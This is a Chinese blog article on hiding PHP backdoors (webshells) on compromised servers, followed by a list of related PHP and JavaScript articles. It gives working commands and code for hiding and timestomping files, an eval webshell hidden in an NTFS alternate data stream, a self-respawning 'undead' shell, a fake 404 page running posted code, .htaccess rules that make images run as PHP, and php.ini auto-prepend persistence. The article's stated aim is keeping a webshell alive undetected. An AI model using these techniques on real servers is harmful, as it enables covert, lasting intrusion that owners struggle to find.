PHP后门隐藏的一些技巧总结


Posted in PHP onNovember 04, 2020

前言

如果想让自己的Webshell留的更久一些,除了Webshell要免杀,还需要注意一些隐藏技巧,比如隐藏文件,修改时间属性,隐藏文件内容等。

1、隐藏文件

使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。

attrib +s +a +h +r shell.php //隐藏shell.php文件

2、修改文件时间属性

当你试图在一堆文件中隐藏自己新创建的文件,那么,除了创建一个迷惑性的文件名,还需要修改文件的修改日期。

//修改时间修改
Set-ItemProperty -Path 2.txt LastWriteTime -Value "2020-11-01 12:12:12"
//访问时间修改
Set-ItemProperty -Path 2.txt LastAccessTime -Value "2020-11-01 12:12:12"
//创建时间修改
Set-ItemProperty -Path 2.txt CreationTime -Value "2020-11-01 12:12:12"

使用命令获取文件属性

Get-ItemProperty -Path D:\1.dll | Format-list -Property * -Force

修改某个文件夹下所有文件的创建和修改时间

powershell.exe -command "ls 'upload\*.*' | foreach-object { $_.LastWriteTime = Get-Date ; $_.CreationTime = '2018/01/01 19:00:00' }"

3、利用ADS隐藏文件内容

在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:

echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg

这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。

利用include函数,将index.php:hidden.jpg进行hex编码,把这个ADS文件include进去,这样子就可以正常解析我们的一句话了。

<?php @include(PACK('H*','696E6465782E7068703A68696464656E2E6A7067'));?>

4、不死马

不死马会删除自身,以进程的形式循环创建隐蔽的后门。

<?php
set_time_limit(0); 
ignore_user_abort(1); 
unlink(__FILE__); //删除自身
while(1)
{ 
 file_put_contents('shell.php','<?php @eval($_GET[cmd]);?>'); //创建shell.php,这里最好用免杀的一句话
 sleep(10); //间隔时间
}
?>

处理方式最简单有效的办法,就是重启服务就可以删除webshell文件。

5、中间件后门

将编译好的so文件复制到modules文件夹,启动后门模块,重启Apache。当发送特定参数的字符串过去时,即可触发后门。

github项目地址:

https://github.com/VladRico/apache2_BackdoorMod

6、利用404页面隐藏后门

404页面主要用来提升用户体验,可用来隐藏后门文件。

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>

7、利用 .htaccess 文件构成PHP后门

一般.htaccess可以用来留后门和针对黑名单绕过,在上传目录创建.htaccess 文件写入,无需重启即可生效,上传png文件解析。

AddType application/x-httpd-php .png

另外,在.htaccess 加入php解析规则,把文件名包含1的解析成php,上传1.txt即可解析。

<FilesMatch "1"> 
SetHandler application/x-httpd-php 
</FilesMatch>

8、利用 php.ini 隐藏后门文件

php.ini 中可以指定在主文件执行前后自动解析的文件名称,常用于页面公共头部和尾部,也可以用来隐藏php后门。

;在PHP文档之前自动添加文件。
auto_prepend_file = "c:\tmp.txt"
;在PHP文档之后自动添加文件。
auto_prepend_file = "c:\tmp.txt"

需重启服务生效,访问任意一个php文件即可获取webshell。

总结

到此这篇关于PHP后门隐藏的一些技巧的文章就介绍到这了,更多相关PHP后门隐藏技巧内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

PHP 相关文章推荐
php xml-rpc远程调用
Dec 19 PHP
PHP实现删除非站内外部链接实例代码
Jun 17 PHP
thinkphp实现like模糊查询实例
Oct 29 PHP
php显示指定目录下子目录的方法
Mar 20 PHP
如何把php5.3版本升级到php5.4或者php5.5
Jul 31 PHP
PHP的Yii框架中使用数据库的配置和SQL操作实例教程
Mar 17 PHP
yii2 modal弹窗之ActiveForm ajax表单异步验证
Jun 13 PHP
PHP 等比例缩放图片详解及实例代码
Sep 18 PHP
php is_executable判断给定文件名是否可执行实例
Sep 26 PHP
PDO的安全处理与事物处理方法
Oct 31 PHP
PHP SESSION机制的理解与实例
Mar 22 PHP
Laravel+Intervention实现上传图片功能示例
Jul 09 PHP
phpstudy2020搭建站点的实现示例
Oct 30 #PHP
解决PHPstudy Apache无法启动的问题【亲测有效】
Oct 30 #PHP
PhpStorm 2020.3:新增开箱即用的PHP 8属性(推荐)
Oct 30 #PHP
2020最新版 PhpStudy V8.1版本下载安装使用详解
Oct 30 #PHP
PHP fopen中文文件名乱码问题解决方案
Oct 28 #PHP
PHP dirname功能及原理实例解析
Oct 28 #PHP
基于ThinkPHP删除目录及目录文件函数
Oct 28 #PHP
You might like
给php新手谈谈我的学习心得
2007/02/25 PHP
国外比较好的几个的Php开源建站平台小结
2010/04/22 PHP
解析PHP缓存函数的使用说明
2013/05/10 PHP
php实现汉字验证码和算式验证码的方法
2015/03/07 PHP
PHP session会话操作技巧小结
2016/09/27 PHP
PHP大文件分割上传 PHP分片上传
2017/08/28 PHP
IE、FF、Chrome浏览器中的JS差异介绍
2013/08/13 Javascript
php析构函数的具体用法小结
2014/03/11 Javascript
Js操作树节点自动折叠展开的几种方法
2014/05/05 Javascript
JavaScript汉诺塔问题解决方法
2015/04/21 Javascript
深入理解JavaScript内置函数
2016/06/03 Javascript
Angular 理解module和injector,即依赖注入
2016/09/07 Javascript
实例详解display:none与visible:hidden的区别
2017/03/30 Javascript
详解Angular 4.x NgIf 的用法
2017/05/22 Javascript
Angular.JS中指令ng-if的注意事项小结
2017/06/21 Javascript
angular中不同的组件间传值与通信的方法
2017/11/04 Javascript
Bootstrap 树控件使用经验分享(图文解说)
2017/11/06 Javascript
微信小程序scroll-view仿拼多多横向滑动滚动条
2020/04/21 Javascript
13 个npm 快速开发技巧(推荐)
2019/07/04 Javascript
vue回到顶部监听滚动事件详解
2019/08/02 Javascript
[05:09]2016国际邀请赛中国区预选赛淘汰赛首日精彩回顾
2016/06/29 DOTA
python实现带验证码网站的自动登陆实现代码
2015/01/12 Python
Python操作MySQL数据库9个实用实例
2015/12/11 Python
python3.6利用pyinstall打包py为exe的操作实例
2018/10/31 Python
python进行OpenCV实战之画图(直线、矩形、圆形)
2020/08/27 Python
python中常用的数据结构介绍
2021/01/12 Python
下面这个程序执行后会有什么错误或者效果
2014/11/03 面试题
专科毕业生自我鉴定
2013/12/01 职场文书
合作经营协议书范本
2014/04/17 职场文书
计算机系统管理员求职信
2014/06/20 职场文书
领导干部学习“三严三实”思想汇报
2014/09/15 职场文书
区域销售经理岗位职责
2015/04/02 职场文书
2015年幼儿教师个人工作总结
2015/05/20 职场文书
英语演讲开场白
2015/05/29 职场文书
matlab xlabel位置的设置方式
2021/05/21 Python
MySQL基础快速入门知识总结(附思维导图)
2021/09/25 MySQL